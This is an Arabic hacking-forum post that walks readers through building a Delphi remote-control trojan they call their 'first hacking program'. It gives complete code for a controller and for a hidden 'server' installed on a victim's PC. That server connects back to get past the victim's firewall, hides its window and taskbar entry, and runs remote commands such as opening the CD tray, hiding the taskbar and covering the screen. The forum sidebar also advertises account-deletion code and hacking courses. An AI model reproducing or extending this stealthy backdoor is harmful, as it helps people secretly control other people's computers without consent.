منتديات الجنرال صدام الشرعبي لي الهكرز والاختراقات
عزيزي الزائر عزيزتي الزائرة يرجي التكرم بتسجبل الدخول
لي اجل تستطيع اطهار جميع المواضيع والاقسام
اذا كنت عضو معنا

او التسجيل ان لم تكن عضو وترغب في الانضمام الي المنتدي

نتشرف بتسجيل

ادارة المنتدى
منتديات الجنرال صدام الشرعبي لي الهكرز والاختراقات
عزيزي الزائر عزيزتي الزائرة يرجي التكرم بتسجبل الدخول
لي اجل تستطيع اطهار جميع المواضيع والاقسام
اذا كنت عضو معنا

او التسجيل ان لم تكن عضو وترغب في الانضمام الي المنتدي

نتشرف بتسجيل

ادارة المنتدى
منتديات الجنرال صدام الشرعبي لي الهكرز والاختراقات
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.


منتديات الجنرال صدام الشرعبي لي الهكرز والاختراقاأكبر منتدى هكر عربي متخصص بجديد الثغرات واختراق المواقع والأجهزة.منتدى إختراق البريد والايميلات- قسم اختراق دورة إحتراف التلغيمدورة اختراق IPs من نوع SIPو VOIP‎دورة كشف التلغيم‎دورة اختراق الأجهزة‎دورة
 
الرئيسيةأحدث الصورالتسجيلدخول


تحياتي لك الباب مفتوح لي في جميع الاقسام الذي تريده عند المشاركه  اي استفسار انا جاهز ان شاء الله
بحـث
 
 

نتائج البحث
 
Rechercher بحث متقدم
سحابة الكلمات الدلالية
المواضيع الأخيرة
» انشاء ./payload
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالأربعاء أغسطس 11, 2021 12:03 pm من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» دروس تعلم فنون الهكرز للمبتدئين
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالجمعة ديسمبر 29, 2017 1:33 pm من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» اقوى كود ازالة حسابات الفيس بوك
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالجمعة ديسمبر 29, 2017 1:27 pm من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» عملاق التحميل من التورنت Vuze 5.6.0.0 الجديد كليا واحدث الادوات والاصدرات
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالسبت مارس 07, 2015 11:36 am من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» برنامج FastPictureViewer 1.9 Build 342 لتعديل و عرض الصور بكل سهوله
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالأربعاء مارس 04, 2015 3:57 pm من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» احدث فلود اضافات روم 2015
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالأربعاء مارس 04, 2015 10:20 am من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» ]VB6[ أفضل الطرق لتجميل برامجك شبكة الجنرال صدام الشرعبي
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالثلاثاء مارس 03, 2015 10:58 am من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» الدرس الثالث -الجمل الشرطية و الدوارات شبكة الجنرال صدام الشرعبي
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالثلاثاء مارس 03, 2015 10:55 am من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» الدرس الثاني -المتغيرات شبكة الجنرال صدام الشرعبي
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالثلاثاء مارس 03, 2015 10:53 am من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» ]#C[ الدرس الاول تعلم خطوة بخطوة , مع الإجابة عن أي سؤال شبكة الجنرال صدام الشرعبي
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالثلاثاء مارس 03, 2015 10:52 am من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» ]C#[ الخطوه الثانية اضافةالبيانات بالـ LINQ شبكة الجنرال صدام الشرعبي
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالثلاثاء مارس 03, 2015 10:47 am من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» ]C#[ الخطوه الاولى لأستيعاب الـ LINQ شبكة الجنرال صدام الشرعبي
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالثلاثاء مارس 03, 2015 10:45 am من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

» ]#C[ عمل برامج للاجهزه النقاله والPDA‏ شبكة الجنرال صدام الشرعبي
[شرح] إصنع برنامج إختراقك الاول Icon_minitimeالثلاثاء مارس 03, 2015 10:41 am من طرف ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے

مارس 2024
الإثنينالثلاثاءالأربعاءالخميسالجمعةالسبتالأحد
    123
45678910
11121314151617
18192021222324
25262728293031
اليوميةاليومية
التبادل الاعلاني

انشاء منتدى مجاني



أفضل 10 فاتحي مواضيع
ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
جنـرال الـهكـر
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
رابح..زيرؤ.فؤر.ايفر
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
ابوعلي
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
سنايبر1
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
ملك الهكر
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
العاشق
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
الساحر
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
__alsafa7__
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
صدام الشرعبي
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
أفضل 10 أعضاء في هذا المنتدى
ٱ‏ٱلجنرٱل صدٱٱم ٱلشرعبيے - 1851
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
رابح..زيرؤ.فؤر.ايفر - 300
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
جنـرال الـهكـر - 227
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
سنايبر1 - 146
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
ابوعلي - 55
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
العاشق - 49
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
نسيـم البحـر1 - 27
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
ملك الهكر - 27
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
لووورد اليمن - 24
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
__alsafa7__ - 18
[شرح] إصنع برنامج إختراقك الاول Vote_rcap1[شرح] إصنع برنامج إختراقك الاول Voting_bar[شرح] إصنع برنامج إختراقك الاول Vote_lcap1 
تسجيل صفحاتك المفضلة في مواقع خارجية
تسجيل صفحاتك المفضلة في مواقع خارجية reddit      

https://sadam-alsharabi.roo7.biz

قم بحفض و مشاطرة الرابط منتديات الجنرال صدام الشرعبي لي الهكرز والاختراقات على موقع حفض الصفحات
تصويت
احصائيات
هذا المنتدى يتوفر على 2284 عُضو.
آخر عُضو مُسجل هو Mahrr فمرحباً به.

أعضاؤنا قدموا 3052 مساهمة في هذا المنتدى في 2055 موضوع

 

 [شرح] إصنع برنامج إختراقك الاول

اذهب الى الأسفل 
كاتب الموضوعرسالة
جنـرال الـهكـر

جنـرال الـهكـر


السٌّمعَة : 4
تاريخ التسجيل : 20/04/2014
الموقع : https://sadam-alsharabi.roo7.biz

[شرح] إصنع برنامج إختراقك الاول Empty
مُساهمةموضوع: [شرح] إصنع برنامج إختراقك الاول   [شرح] إصنع برنامج إختراقك الاول Icon_minitimeالإثنين مايو 12, 2014 11:57 am

السلام عليكم ورحمة الله وبركاته

في هذا الموضوع راح نتطرق إلى كيفية صنع برنامج إختراق بسيط لفهم فكرة برامج الإختراق بشكل عام.

البرنامج جاهزا هنا 

http://vb.ehcommunity.com/f168/t81637/

قبل الغوص في كيفية صنع البرنامج, لابد لنا أن نفهم الأسس النظرية لعملية برمجه برامج الإختراق.

برامج الإختراق البعيدة تعتمد على الشبكة دائما مما يعني أنه لابد لنا من إستعمال المكونات الخاصة بالتعامل مع الشبكات في دلفي.

إضافة إلى ذلك, برامج الإختراق تطبق الكثير من الأوامر على نظام ويندوز مما يعني أنه يجب على المبرمج الإلمام ولو قليلا بالـ APIs الخاصة بويندوز.

إضغط هنا لمعرفة ماهي الـ APIs

برامج الإختراق تتعامل مع الذاكره كثيرا, إذا يجب أن نكون ملمين بطرق التعامل مع الذاكره.

كذلك يوجد العديد من الجوانب والنواحي والمهارات التي يجب علينا الإلمام بها من أجل صنع برنامج رائع.

كل جزء من هذه الأجزاء يعد بحر بحد ذاته ولكن عند الإلمام بمبادئها يمكننا عندها التقدم أكثر وأكثر في مهارات كتابتنا لبرامج الإختراق.

في الوقت الحالي ومن أجل عدم تعقيد الأمور, لنتناول كيفية عمل مكونات الشبكة في البرامج التي تعتمد على الإتصال العكسي.

يوجد مكونان مشهوران في الدلفي وأيضا في العديد من لغات البرمجة الآخرى وهما:

SocketClient

SocketServer

عند وضع مكون الكلاينت على برنامجنا ووضع مكون السيرفر على سيرفرنا فإن الذي سيحصل هو أن مكون الكلاينت سيقوم بالإتصال بالسيرفر. 

ولكن في البرامج التي تعتمد على الإتصال العكسي يكون الأمر مختلف.

يكون مكون الكلاينت على سيرفرنا ومكون السيرفر على برنامجنا.

مما يعني أن الضحايا يتصلون بنا وليس نحن من يتصل بهم.

إحدى الفوائد الكبيرة من الإتصال العكسي هو أن الجدار الناري لدى ضحايانا لا يقوم بحجب السيرفر.

هذه صورة توضح أكثر تركيبة الإتصال العكسي.

[شرح] إصنع برنامج إختراقك الاول WBiP5

قد يأخذ الموضوع قليلا من الوقت ليستوعبه الدماغ.

فكما ترون الأسماء الظاهريه معاكسه للوظائف الداخليه وأسماء المكونات.

لابد من إبقاء عقلك في حالة تركيز أثناء البرمجه لكي لا يختلط عليك الأمر.

حسنا, والآن بعد إنتهاء الشرح النظري لنقم بالعمل.


1. الكلاينت او العميل

قم بتشغيل الدلفي, ملف, جديد, مشروع VCL

يمكنك الرجوع هنا في حالة صعوبة الفهم

http://vb.ehcommunity.com/f168/t81632/

بعد إنشاء المشروع قم بسحب وإسقاط 6 أزرار على النافذة الخاصة ببرنامجك

الآن قم بالضغط على أول زر ثم الذهاب إلى مفتش الخصائص وإبحث عن خاصية الـ Caption

وقم بتغييرها إلى Show Message

الآن قمنا بتغيير النص داخل الزر إلى أعلاه ولكن لاحظوا بأننا لم نغير إسم الزر.

قم بالبحث عن خاصية الـ Name وقم بتسميتها SMBtn

الإسم أعلاه هو إختصار لهذه الثلاث كلمات Show Message Button

قم بالإنتقال للزر الثاني وعمل نفس الطريقة إلى أنت تنتهي من الأزرار السته.

الزر الثاني

Caption: Show TaskBar
Name: STBtn

الزر الثالث

Caption: Hide TaskBar
Name: HTBtn

الزر الرابع

Caption: Open CD
Name: OpenCDBtn

الزر الخامس

Caption: Kill Server
Name: KillBtn

الزر السادس

Caption: Hide Screen
Name: HSBtn

الآن انتهينا من تسميه الأزرار وتغيير النصوص داخلها. خذ وقتك في تحريك الأزرار على النافذة وتحديد حجمها وترتيبها ليصبح شكلها جميلا.

هذا هو شكل برنامجي:

[شرح] إصنع برنامج إختراقك الاول LBZZk

الآن لنقم بالبحث على مكون الـ TServerSocket في شريط الـ Internet بلوحة الأدوات.

قم بسحبة وإسقاطه على نافذة برنامجك.

ملحوظة: مكونات الـ TServerSocket, TClientSocket غير متوفريين افتراضيا في بيئة دلفي, يتوجب عليك تنصيبهما من مكتبة دلفي وذلك عن طريق الذهاب إلى شريط الأدوات في الأعلى واختيار Component ثم Install Packages ثم Add ثم البحث عن ملف dclSockets160.bpl في مسار C:\Program Files (x86)\Embarcadero\RAD Studio\9.0\bin ثم إختياره وضغط موافق.

ستجد الآن المكونات موجوده في قسم الـ Internet في لوحة الأدوات.

[شرح] إصنع برنامج إختراقك الاول O2qmD


[شرح] إصنع برنامج إختراقك الاول W5zEx

الآن قم بإختيار مكون السيرفر سوكت عن طريق الضغط عليه بالماوس ضغطه واحده.

قم بالذهاب إلى مفتش الخصائص وتغيير إسم المكون الـ Name إلى Server

قم الآن بالضغط على نافذة برنامج دون الضغط على أي مكونات منها ثم قم بالذهاب إلى علامة تبويب الـ Events وابحث عن الـ FormCreate اضغط ضغطتين على الفراغ الذي أمامها وألصق هذه الأكواد بين كلمتي Begin و End:
[/COLOR]
الكود:
Server.Port := 450;
Server.Active := True;
[COLOR=White]

هكذا نكون قد إنتهينا من مرحلة التصميم والتسميه والترتيب.

حان وقت الأكواد:

قم بالضغط على آخر زر من أزرار برنامجك ضغتين وهو زر الـ Hide Screen

سيتم نقلك الآن إلى نافذة الأكواد, وسترى مؤشر الكتابة يومض بين كلمتي

Begin

End

قم بنسخ وإلصاق الأكواد التاليه بين هاتين الكلمتين:

الكود:
Server.Socket.Connections[0].SendText('Hide Screen');
نفس الإجراء لبقية الأزرة ماعدا Show Message

زر الـ Kill Server

الكود:
Server.Socket.Connections[0].SendText('Kill');
زر الـ Open CD

الكود:
Server.Socket.Connections[0].SendText('Open CD');
زر الـ Hide TaskBar

الكود:
Server.Socket.Connections[0].SendText('Hide TaskBar');
زر الـ Show TaskBar

الكود:
Server.Socket.Connections[0].SendText('Show TaskBar');
بالنسبة لزر الـ Show Message فهو يختلف قليلا عن البقية.

قبل الضغط عليه قم بالذهاب إلى ملف جديد ثم إختيار VCL Form - Delphi

[شرح] إصنع برنامج إختراقك الاول HNAIb

لا تقم بإختيار أول إختيار VCL Forms Application وإلا سيتم إنشاء مشروع جديد.

قمت الآن بإضافة نافذة جديده فقط للبرنامج الحالي.

قم بالذهاب إلى نافذة الأكواد عن طريق علامة التبويب Code التي في أسفل المترجم في الوسط.

سترى أكواد النافذة أمامك

إبحث عن قسم الـ Uses لديك وأضف كلمة Unit1 

مثال:

الكود:
 
uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Unit1;
عد إلى نافذة برنامجك الرئيسية إلى قسم الأكواد وإكتب تحت كلمة Implementation الكلمات التاليه Uses Unit2

مثال:

الكود:
 
implementation

{$R *.dfm}

Uses Unit2
الآن عد من جديد إلى النافذة الجديدة التي أضفتها مسبقا وقم بسحب زر TButton وصندوق كتابه TEdit وأسقطهما على النافذة

قم بتعيين الخصائص اللازمة للمكونات سواء من الأسماء, النصوص إلخ.

قم بتسميه الصندوق بـ MsgEdit والزر بـ SendBtn 

الآن قم بالضغط على الزر مرتين لتظهر نافذة الأكواد وقم بإلصاق الكود التالي بين الكلمتين Begin و End

الكود:
 
MainForm.Server.Socket.Connections[0].SendText('1' + MsgEdit.Text);
MsgForm.Close
بهذا نكون قد إنتهينا من الكلاينت أو العميل.


2. السيرفر/الخادم

قم بحفظ المشروع وإغلاقه وإبدأ مشروعا جديدا.

بنفس الخطوات > ملف جديد مشروع VCL

قبل البدء في أي شئ لابد لنا أن نجعل خادمنا خفيا وغير ظاهرا للضحيه وذلك عن طريق الذهاب إلى قائمة Project في الأعلى بجانب ملف, تعديل, بحث وإختيار كلمة View source لمشاهدة الملف المصدري الأساسي للبرنامج.

ستجد أكواد مقاربة لهذه:

الكود:
 
program MServer;

uses
  Vcl.Forms,
  Server in 'Server.pas' {ServerForm};

{$R *.res}

begin
  Application.Initialize;
  Application.MainFormOnTaskbar := True;
  Application.CreateForm(TServerForm, ServerForm);
  Application.Run;
end.
ركز على مابين الـ Begin والـ End 

نريد في البداية إضافة هذه الأكواد تحت ثالث سطر وهو الـ CreateForm

الكود:
 
  Application.ShowMainForm := False;
  ServerForm.Visible := False;
ServerForm هو إسم النافذة الذي عينته أثناء التعديل في مفتش الخصائص. إفتراضيا, سيكون إسمه Form1 لديك.

أيضا يجب أن نمنع خادمنا/السيرفر من الظهور في شريط إبدأ عن طريق تغيير كلمة True إلى False في الكود التالي:

الكود:
 
  Application.MainFormOnTaskbar := False;
ستصبح النتيجه في النهايه مقاربه لهذه:

الكود:
 
program MServer;

uses
  Vcl.Forms,
  Server in 'Server.pas' {ServerForm};

{$R *.res}

begin
  Application.Initialize;
  Application.MainFormOnTaskbar := False;
  Application.CreateForm(TServerForm, ServerForm);
  Application.ShowMainForm := False;
  ServerForm.Visible := False;
  Application.Run;
end.
الآن عد إلى النافذة وإبحث عن مكون الـ TClientSocket في لوحة الأدوات. إسحبه وأسقطه على النافذة ثم قم بتغيير إسمه إلى Client. إذهب إلى علامة التبويب Events في مفتش الخصائص في الأعلى وإبحث عن OnClientRead وإضغط ضغطتين على الفراغ المقابل لها لتنتقل إلى نافذة الأكواد.

ألصق الأكواد التاليه بين كلمتي Begin و End:

الكود:
 

Command := Client.Socket.ReceiveText;

if command = 'Open CD' then
begin
mciSendString('Set cdaudio door open wait', nil, 0, 0);
end

else if command = 'Hide Screen' then
Begin
Application.MainForm.Visible := True;
ServerForm.BorderStyle := bsNone;
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, Screen.Width, Screen.Height, 0);
end

else if command = 'Hide TaskBar' then
begin
ShowWindow(Findwindow('Shell_TrayWnd',nil), SW_HIDE);
ShowWindow(FindWindow('Button', 'Start'), SW_HIDE);
end

else if command = 'Show TaskBar' then
begin
ShowWindow(Findwindow('Shell_TrayWnd',nil), SW_SHOW);
ShowWindow(FindWindow('Button', 'Start'), SW_SHOW);
end

else if command[1] = '1' then
begin
Command[1] := ' ';
ShowMessage(Command);
end

else if command = 'Kill' then
begin
Application.Terminate
end;

تبقى بعض الأشياء البسيطه التي يجب إضافتها لإتمام السيرفر/الخادم.

الأولى هي تعريف متغير والثانية هي إضافة وحدة او كلاس من أجل أن يتم فتح مشغل الأقراص.

إنظر إلى الكود التالي:

الكود:
unit Server;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Web.Win.Sockets,
  System.Win.ScktComp, MMSystem; // أضف الـ MMSystems

type
  TServerForm = class(TForm)
    Client: TClientSocket;
    procedure ClientRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  ServerForm: TServerForm;
  Command: String; // قم بكتابة هذا السطر في هذه المنطقة بالذات لتعريف المتغير

implementation

{$R *.dfm}

procedure TServerForm.ClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Command := Client.Socket.ReceiveText;

if command = 'Open CD' then
begin
mciSendString('Set cdaudio door open wait', nil, 0, 0);
end

else if command = 'Hide Screen' then
Begin
Application.MainForm.Visible := True;
ServerForm.BorderStyle := bsNone;
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, Screen.Width, Screen.Height, 0);
end

else if command = 'Hide TaskBar' then
begin
ShowWindow(Findwindow('Shell_TrayWnd',nil), SW_HIDE);
ShowWindow(FindWindow('Button', 'Start'), SW_HIDE);
end

else if command = 'Show TaskBar' then
begin
ShowWindow(Findwindow('Shell_TrayWnd',nil), SW_SHOW);
ShowWindow(FindWindow('Button', 'Start'), SW_SHOW);
end

else if command[1] = '1' then // إحدى علامات ضعف التصميم والتخطيط, تذكرها
begin
Command[1] := ' ';
ShowMessage(Command);
end

else if command = 'Kill' then
begin
Application.Terminate
end;

end;

end.
يجب أن تكون أكوادك مطابقة تقريبا للمكتوب إعلاه وبهذا نكون أتممنا السيرفر/الخادم ولله الحمد.

كما ترون فالفكرة كان هي عباره عن إرساله أوامر نصيه إلى خادمنا وبناء عليها يتم تنفيذ الأوامر المطلوبة.

يمكننا التواصل مع خادمنا بطرق أكثر إحترافيه وأكثر تعقيد ولكن المهم أننا فهمنا الفكرة بشكل عام.

أترى السطر المكتوب أمامه "إحدى علامات ضعف التصميم والتخطيط؟"

المشكلة هنا هو أن كل أمر من الأوامر يعتمد على نص يتم إرساله إلى الخادم. ولكن عندما أردنا إرسال رساله إلى الضحيه فالرساله هي عبارة عن نص. كيف يمككنا إذن إخبار السيرفر بعرض هذه الرساله وهو  يعتمد في الأساس على أوامر نصيه ؟

إحدى الطرق السريعة التي عملتها لحل هذه المشكلة كانت عباره عن إضافة رقم 1 إلى النص الذي نود إرساله وعند قراءة سيرفرنا(الكلاينت) لأول خانة وهي رقم 1 عندها سيعلم أنها رساله وسيقوم بحذف الرقم 1 من النص وعرض بقية النص.

نرجو أن تكونوا استفدتم من هذه التجربه ولو كانت بسيطه جدا ولكن تذكروا, العمل الجاد والتخطيط السليم هما أحد أهم عوامل النجاح خلف كل شئ.

بالتوفيق للجميع
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
[شرح] إصنع برنامج إختراقك الاول
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات الجنرال صدام الشرعبي لي الهكرز والاختراقات :: الفئة الأولى :: منـتدئ مختـص في بـرمجـة الفيجـوال بيسـك-
انتقل الى: